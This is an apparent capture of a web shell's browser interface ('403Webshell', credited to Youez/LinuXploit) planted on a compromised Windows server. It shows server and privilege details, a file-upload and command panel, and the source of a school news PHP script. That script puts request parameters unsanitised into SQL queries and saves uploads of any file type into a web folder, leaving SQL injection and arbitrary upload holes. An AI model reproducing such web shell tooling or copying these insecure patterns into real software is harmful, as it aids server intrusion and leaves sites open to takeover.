403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/move/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/move/file_school_edit_save.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<?php 
include("db.php");  
$id =$_GET['id'];
$uid = $mysqli->escape_string($_GET['uid']);
$title= $_POST['title'];
$detail= $_POST['detail'];
$mysqli->query("UPDATE sc_news SET title='$title',detail='$detail' WHERE id='$id'")or die (mysqli_error());

if ($title=="") {
	echo "<meta http-equiv=refresh content=0;URL=news_office.php?id=$id>";
} else {
$date_news = date("Ymd-H-i-s");
	ini_set('memory_limit','200M');
	set_time_limit(160);
	for($i=0;$i<count($_FILES["fileUpload"]["name"]);$i++)
	{
	   $s=$i+1;
	 	//$strFileName = date("YmdHis")."_".$_FILES["filUpload"]["name"][$i];
		$file_tmp=$_FILES["fileUpload"]["tmp_name"][$i];	
		$file_name=$_FILES["fileUpload"]["name"][$i];
			$array_last = explode(".",$file_name);
			$c=count($array_last) - 1;
			$lastname=strtolower($array_last[$c]);
		    $filenew =date("Ydm-His"). "_$id." .$lastname;
 
		if($_FILES["fileUpload"]["name"][$i] != "")
		{
		if(move_uploaded_file($file_tmp,"schoolfile/".$filenew))
		{

//$mysqli->query("UPDATE sc_news SET (title, detail, uid, file_name) VALUES ('$title','$detail','$uid', '".$filenew."' )") or die (mysqli_error());

$mysqli->query("UPDATE sc_news SET file_name='".$filenew."' WHERE id='$id'")or die (mysqli_error());
				
			} 
			
		} 
		
	}
	echo "<meta http-equiv=refresh content=0;URL=news_office.php?id=$uid>";

}

?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit